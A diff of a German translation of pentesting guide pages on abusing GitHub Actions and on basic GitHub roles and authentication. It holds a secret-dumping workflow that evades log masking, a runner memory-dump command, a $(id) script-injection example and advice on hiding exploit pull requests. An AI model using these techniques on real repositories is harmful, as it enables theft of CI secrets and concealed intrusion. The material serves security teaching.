+Wie in [**diesem Blogpost**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein repository oder eine organization eine policy hat, die die Verwendung bestimmter actions einschränkt, könnte ein Angreifer einfach die Action innerhalb des workflow mit `git clone` herunterladen und sie dann als local action referenzieren. Da die policies lokale Pfade nicht betreffen, wird **die Action ohne Einschränkungen ausgeführt.**
 
 Beispiel:
 ```yaml
@@ -456,9 +456,9 @@ path: gha-hazmat
 
 - run: ls tmp/checkout
 ```
-### Zugriff auf AWS und GCP über OIDC
+### Zugriff auf AWS und GCP via OIDC
 
-Check the following pages:
+Siehe die folgenden Seiten:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -470,13 +470,13 @@ Check the following pages:
 
 ### Zugriff auf secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Wenn du Content in ein Skript injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst:
+Wenn du Inhalt in ein script injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst:
 
 - Wenn das secret oder token als **environment variable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** ausgelesen werden.
 
 <details>
 
-<summary>secrets in Github Action-Ausgabe auflisten</summary>
+<summary>Secrets in der Github Action-Ausgabe auflisten</summary>
 ```yaml
 name: list_env
 on:
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>reverse shell mit secrets erhalten</summary>
+<summary>Reverse shell mit Secrets erhalten</summary>
 ```yaml
 name: revshell
 on:
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
+- Wenn das secret **direkt in einem Ausdruck** verwendet wird, wird das generierte Shell-Skript **auf der Festplatte** gespeichert und ist zugänglich.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- For a JavaScript actions the secrets and sent through environment variables
+- Bei JavaScript-Actions werden die secrets über environment variables übergeben
 - ```bash
 ps axe | grep node
 ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Bei einer **custom action** kann das Risiko variieren, je nachdem wie ein Programm das secret verwendet, das es aus dem **argument** erhalten hat:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
+- Alle secrets über den secrets context aufzählen (collaborator level). Ein Contributor mit Write-Zugriff kann einen workflow in jedem Branch ändern, um alle repository/org/environment secrets zu dumpen. Nutze doppelte base64, um GitHub’s log masking zu umgehen und lokal zu dekodieren:
 
 ```yaml
 name: Steal secrets
@@ -558,30 +558,31 @@ run: |
 echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
 ```
 
-Decode locally:
+Lokal dekodieren:
 
 ```bash
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+Tipp: für Stealth beim Testen vor dem Ausgeben verschlüsseln (openssl ist auf GitHub-hosted runners vorinstalliert).
 
 ### Missbrauch von Self-hosted runners
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+Um herauszufinden, welche **GitHub Actions in nicht-GitHub-Infrastruktur** ausgeführt werden, sucht man nach **`runs-on: self-hosted`** in der GitHub Action-Konfigurations-yaml.
 
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
+**Self-hosted** runner können Zugriff auf **zusätzlich sensible Informationen**, auf andere **network systems** (vulnerable endpoints im Netzwerk? metadata service?) haben oder — selbst wenn sie isoliert sind und entfernt werden — können **mehrere Actions gleichzeitig ausgeführt werden**, sodass die bösartige Action die **secrets** der anderen stehlen könnte.
 
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+In self-hosted runners ist es außerdem möglich, die **secrets from the \_Runner.Listener\_\*\* process\*\*** zu erhalten, der alle secrets der workflows zu jedem Schritt enthält, indem man dessen Speicher dumpst:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Siehe [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker-Image-Registry
+### Github Docker Images Registry
 
-Es ist möglich, Github actions zu erstellen, die ein Docker-Image innerhalb von Github **bauen und speichern**. Ein Beispiel findet sich im folgenden ausklappbaren Bereich:
+Es ist möglich, Github actions zu erstellen, die **ein Docker image in Github bauen und speichern**.\
+Ein Beispiel findet sich im folgenden ausklappbaren:
 
 <details>
 
@@ -616,33 +617,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Wie Sie im vorherigen Code sehen konnten, wird die Github registry auf **`ghcr.io`** gehostet.
+Wie im vorherigen Code zu sehen ist, wird die Github-Registry unter **`ghcr.io`** gehostet.
 
-Ein Benutzer mit Lesezugriff auf das repo kann dann das Docker Image mit einem personal access token herunterladen:
+Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem Personal Access Token herunterladen:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Dann könnte der Nutzer nach **leaked secrets in the Docker image layers:** suchen
+Dann könnte der Benutzer nach **leaked secrets in the Docker image layers:** suchen:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Sensible Informationen in Github Actions-Logs
+### Sensible Informationen in Github Actions logs
 
-Auch wenn **Github** versucht, **secret values** in den Actions-Logs zu **erkennen** und **nicht anzuzeigen**, werden **andere sensitive Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein JWT, das mit einem Secret signiert wurde, nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Selbst wenn **Github** versucht, **detect secret values** in den actions logs zu **erkennen** und deren Anzeige zu **vermeiden**, werden **andere sensible Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein mit einem secret value signiertes JWT nicht verborgen, es sei denn, es ist [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Spuren verwischen
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zuerst ist jeder erstellte PR für die Öffentlichkeit auf Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub kann man standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für Github-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein **GitHub-Konto suspendiert bekommen** oder dein Konto markieren lassen. Das würde **all deine Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder erstellte PR auf Github für die Öffentlichkeit und für das Ziel-GitHub-Konto klar sichtbar. Standardmäßig kann man auf GitHub einen PR nicht aus dem Internet löschen, aber es gibt einen Twist. Für Github-Konten, die von Github gesperrt werden, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein GitHub-Konto sperren lassen oder dein Konto markieren lassen. Das würde alle deine Aktivitäten auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).
 
-Eine Organization auf GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was du tun musst, ist „ein paar Sachen“ in einem Issue zu posten, und sie sorgen dafür, dass dein Konto innerhalb von 12 Stunden suspendiert wird :p und voilà — dein Exploit ist auf github unsichtbar.
+Eine Organisation auf GitHub ist sehr proaktiv darin, Accounts an GitHub zu melden. Du musst lediglich „some stuff“ in einem Issue posten und sie sorgen dafür, dass dein Account innerhalb von 12 Stunden gesperrt wird :p — und schon ist dein exploit auf GitHub unsichtbar.
 
 > [!WARNING]
-> Der einzige Weg für eine Organization herauszufinden, dass sie ins Visier genommen wurde, ist, die GitHub-Logs im SIEM zu prüfen, da der PR in der GitHub-UI entfernt würde.
+> Die einzige Möglichkeit für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, ist das Prüfen der GitHub-Logs im SIEM, da der PR in der GitHub-UI entfernt würde.
 
-## Quellen
+## Referenzen
 
 - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -4,18 +4,18 @@
 
 ## Verständnis des Risikos
 
-GitHub Actions rendert Ausdrücke ${{ ... }} bevor der Schritt ausgeführt wird. Der gerenderte Wert wird in das Programm des Schritts eingefügt (bei run steps, ein Shell-Skript). Wenn du untrusted input direkt innerhalb von run: interpolierst, kontrolliert ein Angreifer Teile des Shell-Programms und kann beliebige Befehle ausführen.
+GitHub Actions wertet Ausdrücke ${{ ... }} aus, bevor der Schritt ausgeführt wird. Der ausgewertete Wert wird in das Programm des Schritts eingefügt (bei run-Schritten ein Shell-Skript). Wenn untrusted input direkt in run: interpoliert wird, kontrolliert der Angreifer einen Teil des Shell-Programms und kann beliebige Befehle ausführen.
 
 Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
 
 Wichtige Punkte:
-- Rendering erfolgt vor der Ausführung. Das run script wird mit allen aufgelösten Ausdrücken erzeugt und dann von der Shell ausgeführt.
-- Viele contexts enthalten vom Benutzer kontrollierte Felder, abhängig vom auslösenden Event (issues, PRs, comments, discussions, forks, stars, etc.). Siehe die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- Shell-Quoting innerhalb von run: ist keine zuverlässige Verteidigung, da die injection in der Template-Rendering-Phase erfolgt. Angreifer können aus Anführungszeichen ausbrechen oder Operatoren durch manipulierte Eingaben injizieren.
+- Das Rendern erfolgt vor der Ausführung. Das run-Skript wird mit allen aufgelösten Ausdrücken generiert und anschließend von der Shell ausgeführt.
+- Viele contexts enthalten vom Benutzer kontrollierte Felder, abhängig vom auslösenden Ereignis (issues, PRs, comments, discussions, forks, stars, etc.). Siehe die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting innerhalb von run: ist keine verlässliche Verteidigung, da die injection in der Phase des Template-Renderings auftritt. Angreifer können aus Anführungszeichen ausbrechen oder Operatoren durch manipulierte Eingaben injizieren.
 
 ## Verwundbares Muster → RCE auf dem Runner
 
-Verwundbarer workflow (ausgelöst, wenn jemand ein neues Issue öffnet):
+Verwundbarer Workflow (ausgelöst, wenn jemand ein neues issue öffnet):
 ```yaml
 name: New Issue Created
 on:
@@ -36,7 +36,7 @@ with:
 github_token: ${{ secrets.GITHUB_TOKEN }}
 labels: new
 ```
-Wenn ein Angreifer ein Issue mit dem Titel $(id) eröffnet, wird der gerenderte Schritt zu:
+Wenn ein Angreifer ein Issue mit dem Titel $(id) eröffnet, wird der gerenderte Schritt:
 ```sh
 echo "New issue $(id) created"
 ```
@@ -44,12 +44,12 @@ Die Kommando-Substitution führt id auf dem Runner aus. Beispielausgabe:
 ```
 New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
 ```
-Warum Quoting dich nicht schützt:
-- Ausdrücke werden zuerst ausgewertet, dann wird das resultierende script ausgeführt. Wenn der nicht vertrauenswürdige Wert $(...), `;`, `"`/`'`, oder Zeilenumbrüche enthält, kann er die Programmstruktur trotz Quoting verändern.
+Warum Quoting Sie nicht schützt:
+- Ausdrücke werden zuerst gerendert, und das resultierende Skript wird danach ausgeführt. Wenn der unsichere Wert $(...), `;`, `"`/`'` oder Zeilenumbrüche enthält, kann er die Programmstruktur trotz Ihres Quoting verändern.
 
 ## Sicheres Muster (shell variables via env)
 
-Korrekte Gegenmaßnahme: Kopiere nicht vertrauenswürdige Eingaben in eine Umgebungsvariable und verwende dann die native Shell-Expansion ($VAR) im run script. Verwende ${{ ... }} nicht erneut innerhalb des Befehls.
+Korrekte Gegenmaßnahme: Kopieren Sie die unsichere Eingabe in eine Umgebungsvariable und verwenden Sie dann die native Shell-Erweiterung ($VAR) im run-Skript. Binden Sie nicht erneut mit ${{ ... }} innerhalb des Befehls ein.
 ```yaml
 # safe
 jobs:
@@ -62,29 +62,29 @@ TITLE: ${{ github.event.issue.title }}
 run: |
 echo "New issue $TITLE created"
 ```
-Notes:
-- Verwende ${{ env.TITLE }} nicht innerhalb von run:. Dadurch wird Template-Rendering wieder in den Befehl eingeführt und das gleiche injection risk entsteht.
-- Übergib vorzugsweise nicht vertrauenswürdige Eingaben über ein env:-Mapping und referenziere sie in run: mit $VAR.
+Hinweise:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
 
-## Reader-triggerable surfaces (treat as untrusted)
+## Vom Leser auslösbare Angriffsflächen (als nicht vertrauenswürdig behandeln)
 
-Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
+Accounts mit nur Lesezugriff auf public repositories können trotzdem viele Events auslösen. Jedes Feld in Contexts, die aus diesen Events abgeleitet werden, muss als von einem Angreifer kontrolliert betrachtet werden, sofern nicht das Gegenteil bewiesen ist. Beispiele:
 - issues, issue_comment
-- discussion, discussion_comment (Organisationen können Diskussionen einschränken)
+- discussion, discussion_comment (orgs can restrict discussions)
 - pull_request, pull_request_review, pull_request_review_comment
-- pull_request_target (gefährlich bei falscher Verwendung, läuft im Kontext des base repo)
-- fork (jeder kann public repos forken)
+- pull_request_target (dangerous if misused, runs in base repo context)
+- fork (anyone can fork public repos)
 - watch (starring a repo)
 - Indirectly via workflow_run/workflow_call chains
 
-Welche spezifischen Felder vom Angreifer kontrolliert sind, hängt vom Event ab. Siehe GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+Welche konkreten Felder angreifer-kontrolliert sind, ist eventspezifisch. Siehe GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
 
-## Practical tips
+## Praktische Tipps
 
-- Minimiere die Verwendung von expressions in run:. Bevorzuge env:-Mapping + $VAR.
-- Wenn du Eingaben transformieren musst, mach das in der Shell mit sicheren Tools (printf %q, jq -r, etc.), ausgehend weiterhin von einer Shell-Variablen.
-- Sei besonders vorsichtig beim Interpolieren von Branch-Namen, PR-Titeln, Benutzernamen, Labels, Diskussionstiteln und PR-Head-Refs in Skripte, Kommandozeilenflags oder Dateipfade.
-- Für wiederverwendbare Workflows und composite actions, wende dasselbe Muster an: auf env mappen und dann $VAR referenzieren.
+- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
+- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
+- Sei besonders vorsichtig, wenn du branch names, PR titles, usernames, labels, discussion titles und PR head refs in scripts, command-line flags oder file paths interpolierst.
+- Für reusable workflows und composite actions gilt dasselbe Muster: map to env then reference $VAR.
 
 ## References
 

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,61 +1,61 @@
-# Grundlegende Github-Informationen
+# Basic Github Information
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grundstruktur
+## Basic Structure
 
-Die grundlegende Github-Umgebungsstruktur eines großen **Unternehmens** ist, ein **Enterprise** zu besitzen, das **mehrere Organisationen** besitzt, und jede davon kann **mehrere Repositories** und **mehrere Teams** enthalten. Kleinere Unternehmen besitzen möglicherweise nur **eine Organisation und kein Enterprise**.
+Die grundlegende Github-Umgebungsstruktur eines großen **Unternehmens** besteht darin, eine **Enterprise** zu besitzen, die **mehrere Organisationen** besitzt, und jede davon kann **mehrere Repositories** und **mehrere Teams** enthalten. Kleinere Firmen besitzen möglicherweise nur **eine Organisation und keine Enterprise**.
 
-Aus Sicht eines Benutzers kann ein **User** **Mitglied** von **verschiedenen Enterprises und Organisationen** sein. Innerhalb dieser kann der Benutzer **verschiedene Enterprise-, Organisations- und Repository-Rollen** haben.
+Aus Sicht eines Users kann ein **User** **Mitglied** verschiedener Enterprises und Organisationen sein. Innerhalb dieser kann der User **verschiedene Enterprise-, Organisations- und Repository-Rollen** haben.
 
-Außerdem kann ein Benutzer **Teil verschiedener Teams** mit unterschiedlichen Enterprise-, Organisations- oder Repository-Rollen sein.
+Außerdem kann ein User **Teil verschiedener Teams** mit unterschiedlichen Enterprise-, Organisations- oder Repository-Rollen sein.
 
 Und schließlich **können Repositories spezielle Schutzmechanismen** haben.
 
-## Privilegien
+## Privileges
 
-### Enterprise-Rollen
+### Enterprise Roles
 
-- **Enterprise owner**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Enterprise verwalten, Enterprise-Einstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Sie **können jedoch nicht auf Organisationseinstellungen oder -inhalte zugreifen**, es sei denn, sie werden zu Organization owners ernannt oder erhalten direkten Zugriff auf ein repository, das einer Organisation gehört.
-- **Enterprise members**: Mitglieder von Organisationen, die von deinem Enterprise besessen werden, sind **automatisch ebenfalls Mitglieder des Enterprise**.
+- **Enterprise owner**: Personen mit dieser Rolle können **Administrator*innen verwalten, Organisationen innerhalb der Enterprise verwalten, Enterprise-Einstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Allerdings **können sie nicht auf Organisationseinstellungen oder Inhalte zugreifen**, es sei denn, sie werden zum Organization owner gemacht oder erhalten direkten Zugriff auf ein organisationseigenes Repository.
+- **Enterprise members**: Mitglieder von Organisationen, die von deiner Enterprise verwaltet werden, sind **automatisch auch Mitglieder der Enterprise**.
 
-### Organisationsrollen
+### Organization Roles
 
-In einer Organisation können Benutzer verschiedene Rollen haben:
+In einer Organisation können User verschiedene Rollen haben:
 
-- **Organization owners**: Organization owners haben **vollständigen administrativen Zugriff auf deine Organisation**. Diese Rolle sollte begrenzt werden, jedoch nicht auf weniger als zwei Personen in deiner Organisation.
+- **Organization owners**: Organization owners haben **vollständigen administrativen Zugriff auf deine Organisation**. Diese Rolle sollte begrenzt sein, aber nicht auf weniger als zwei Personen in deiner Organisation reduziert werden.
 - **Organization members**: Die **Standard-**, nicht-administrative Rolle für **Personen in einer Organisation** ist das Organization member. Standardmäßig **haben Organization members eine Reihe von Berechtigungen**.
-- **Billing managers**: Billing managers sind Benutzer, die **die Abrechnungseinstellungen deiner Organisation verwalten** können, z. B. Zahlungsinformationen.
-- **Security Managers**: Es ist eine Rolle, die Organization owners einem beliebigen Team in einer Organisation zuweisen können. Wenn sie angewendet wird, erhalten alle Mitglieder des Teams Berechtigungen, **Security alerts und Einstellungen über deine Organisation hinweg zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation.
-- Wenn deine Organisation ein Sicherheitsteam hat, kannst du die Security Manager-Rolle verwenden, um Mitgliedern des Teams den minimal erforderlichen Zugriff auf die Organisation zu gewähren.
-- **Github App managers**: Um zusätzlichen Benutzern zu erlauben, **GitHub Apps zu verwalten, die einer Organisation gehören**, kann ein Owner ihnen Github App manager-Berechtigungen gewähren.
-- **Outside collaborators**: Ein outside collaborator ist eine Person, die **Zugriff auf ein oder mehrere Organisation-Repositories hat, aber nicht explizit Mitglied der Organisation** ist.
+- **Billing managers**: Billing managers sind User, die **die Abrechnungseinstellungen deiner Organisation verwalten** können, wie z. B. Zahlungsinformationen.
+- **Security Managers**: Das ist eine Rolle, die Organization owners einem beliebigen Team in einer Organisation zuweisen können. Wenn sie angewendet wird, erhalten alle Teammitglieder Berechtigungen, **Security Alerts und Einstellungen in der gesamten Organisation zu verwalten sowie Leserechte für alle Repositories** in der Organisation.
+- Wenn deine Organisation ein Security-Team hat, kannst du die Security Manager-Rolle nutzen, um den Teammitgliedern den minimal notwendigen Zugriff auf die Organisation zu geben.
+- **Github App managers**: Um zusätzlichen Personen zu erlauben, **GitHub Apps zu verwalten, die einer Organisation gehören**, kann ein Owner ihnen GitHub App manager-Berechtigungen gewähren.
+- **Outside collaborators**: Ein Outside collaborator ist eine Person, die **Zugriff auf ein oder mehrere Organisation-Repositories hat, aber nicht explizit Mitglied** der Organisation ist.
 
 Du kannst die **Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Mitglieder-Berechtigungen
+### Members Privileges
 
-In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kannst du die **Berechtigungen sehen, die Benutzer allein durch die Zugehörigkeit zur Organisation erhalten**.
+In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kannst du die **Berechtigungen sehen, die User allein durch die Mitgliedschaft in der Organisation haben**.
 
-Die hier konfigurierten Einstellungen geben folgende Rechte der Mitglieder der Organisation an:
+Die hier konfigurierten Einstellungen bestimmen folgende Berechtigungen der Mitglieder der Organisation:
 
-- Admin-, Schreib-, Lese- oder keine Berechtigung für alle Repositories der Organisation.
+- Admin-, Schreib-, Lese- oder keine Berechtigung für alle Organisation-Repos.
 - Ob Mitglieder private, interne oder öffentliche Repositories erstellen können.
 - Ob Forking von Repositories möglich ist.
-- Ob es möglich ist, outside collaborators einzuladen.
-- Ob öffentliche oder private Sites veröffentlicht werden können.
+- Ob das Einladen von Outside collaborators möglich ist.
+- Ob öffentliche oder private Sites veröffentlicht werden dürfen.
 - Die Berechtigungen, die Admins über die Repositories haben.
 - Ob Mitglieder neue Teams erstellen können.
 
-### Repository-Rollen
+### Repository Roles
 
-Standardmäßig sind folgende repository-Rollen vorhanden:
+Standardmäßig sind folgende Repository-Rollen vorhanden:
 
-- **Read**: Empfohlen für **Nicht-Code-Beitragende**, die dein Projekt ansehen oder diskutieren möchten.
-- **Triage**: Empfohlen für **Beitragende, die Issues und Pull Requests proaktiv verwalten müssen**, ohne Schreibzugriff.
-- **Write**: Empfohlen für Beitragende, die **aktiv in dein Projekt pushen**.
-- **Maintain**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder zerstörerische Aktionen.
-- **Admin**: Empfohlen für Personen, die **vollen Zugriff auf das Projekt benötigen**, einschließlich sensibler und zerstörerischer Aktionen wie Security-Management oder das Löschen eines Repositories.
+- **Read**: Empfohlen für **nicht-code Contributors**, die dein Projekt ansehen oder diskutieren möchten.
+- **Triage**: Empfohlen für **Contributors, die Issues und Pull Requests proaktiv verwalten** müssen, ohne Schreibzugriff.
+- **Write**: Empfohlen für Contributors, die **aktiv in dein Projekt pushen**.
+- **Maintain**: Empfohlen für **Projektmanager*innen, die das Repository verwalten müssen**, ohne Zugang zu sensiblen oder destruktiven Aktionen.
+- **Admin**: Empfohlen für Personen, die **vollen Zugriff auf das Projekt benötigen**, einschließlich sensibler und destruktiver Aktionen wie Security-Management oder Löschen eines Repositories.
 
 Du kannst die **Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
@@ -63,94 +63,94 @@ Du kannst auch **eigene Rollen erstellen** in _https://github.com/organizations/
 
 ### Teams
 
-Du kannst die in einer Organisation erstellten Teams unter _https://github.com/orgs/\<org_name>/teams_ **auflisten**. Beachte, dass du, um die Teams zu sehen, die Kinder anderer Teams sind, jedes übergeordnete Team aufrufen musst.
+Du kannst die in einer Organisation erstellten Teams in _https://github.com/orgs/\<org_name>/teams_ **auflisten**. Beachte, dass du, um die Teams zu sehen, die Kinder anderer Teams sind, jedes Parent-Team aufrufen musst.
 
-### Benutzer
+### Users
 
-Die Benutzer einer Organisation können unter _https://github.com/orgs/\<org_name>/people_ **aufgelistet** werden.
+Die User einer Organisation können in _https://github.com/orgs/\<org_name>/people_ **aufgelistet** werden.
 
-In den Informationen jedes Benutzers kannst du die **Teams, denen der Benutzer angehört**, und die **Repos, auf die der Benutzer Zugriff hat**, sehen.
+In den Informationen jedes Users kannst du die **Teams, denen der User angehört**, und die **Repos, auf die der User Zugriff hat**, sehen.
 
 ## Github Authentication
 
-Github bietet verschiedene Möglichkeiten, sich bei deinem Konto zu authentifizieren und Aktionen in deinem Auftrag auszuführen.
+Github bietet verschiedene Möglichkeiten, sich bei deinem Account zu authentifizieren und Aktionen in deinem Namen durchzuführen.
 
-### Webzugang
+### Web Access
 
-Beim Zugriff auf **github.com** kannst du dich mit deinem **Benutzernamen und Passwort** (und ggf. einer **2FA**) anmelden.
+Beim Zugriff auf **github.com** kannst du dich mit deinem **Benutzernamen und Passwort** (und ggf. einer **2FA**) einloggen.
 
 ### **SSH Keys**
 
-Du kannst dein Konto mit einem oder mehreren Public Keys konfigurieren, die es dem zugehörigen **Private Key ermöglichen, Aktionen in deinem Auftrag auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Du kannst deinen Account mit einem oder mehreren Public Keys konfigurieren, die es dem zugehörigen **Private Key erlauben, Aktionen in deinem Namen auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPG Keys**
 
-Du **kannst den Benutzer mit diesen Keys nicht imitieren**, aber wenn du ihn nicht verwendest, könnte es möglich sein, dass du **entdeckt wirst, weil Commits ohne Signatur gesendet wurden**. Erfahre mehr über den [vigilant mode hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Mit diesen Keys **kannst du den User nicht impersonifizieren**, aber wenn du sie nicht nutzt, kann es passieren, dass du **aufgrund von Commits ohne Signatur entdeckt wirst**. Mehr zu vigilant mode hier: [https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
 ### **Personal Access Tokens**
 
-Du kannst Personal Access Tokens generieren, um **einer Anwendung Zugriff auf dein Konto zu geben**. Beim Erstellen eines Personal Access Tokens muss der **Benutzer** die **Berechtigungen** festlegen, die das **Token** erhalten soll. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Du kannst Personal Access Tokens erzeugen, um **einer Anwendung Zugriff auf deinen Account zu geben**. Beim Erstellen eines Personal Access Tokens muss der **User** die **Berechtigungen** angeben, die das **Token** haben wird. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Oauth-Anwendungen können dich um Berechtigungen bitten, **auf Teile deiner github-Informationen zuzugreifen oder dich zu impersonifizieren**, um bestimmte Aktionen auszuführen. Ein häufiges Beispiel dafür ist der **Login with GitHub-Button**, den du auf manchen Plattformen findest.
+Oauth Applications können dich um Berechtigungen bitten, **Teil deiner Github-Informationen zuzugreifen oder dich zu impersonifizieren**, um bestimmte Aktionen durchzuführen. Ein übliches Beispiel dafür ist der **Login with github**-Button, den du auf manchen Plattformen finden kannst.
 
-- Du kannst eigene **Oauth applications** erstellen unter [https://github.com/settings/developers](https://github.com/settings/developers)
-- Du kannst alle **Oauth applications sehen, die Zugriff auf dein Konto haben** unter [https://github.com/settings/applications](https://github.com/settings/applications)
-- Du kannst die **Scopes sehen, die Oauth Apps anfordern können** unter [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Du kannst Third-Party-Zugriffe von Anwendungen in einer **Organisation** unter _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ ansehen
+- Du kannst eigene **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) erstellen.
+- Du kannst alle **Oauth applications sehen, die Zugriff auf deinen Account haben** in [https://github.com/settings/applications](https://github.com/settings/applications)
+- Du kannst die **Scopes, die Oauth Apps anfordern können**, in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) einsehen.
+- Du kannst Third-Party-Zugriffe von Anwendungen in einer **Organisation** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ sehen.
 
 Einige **Sicherheitsempfehlungen**:
 
-- Eine **OAuth App** sollte immer **als der authentifizierte GitHub-Benutzer über ganz GitHub handeln** (z. B. beim Bereitstellen von Benutzerbenachrichtigungen) und nur Zugriff auf die angegebenen Scopes haben.
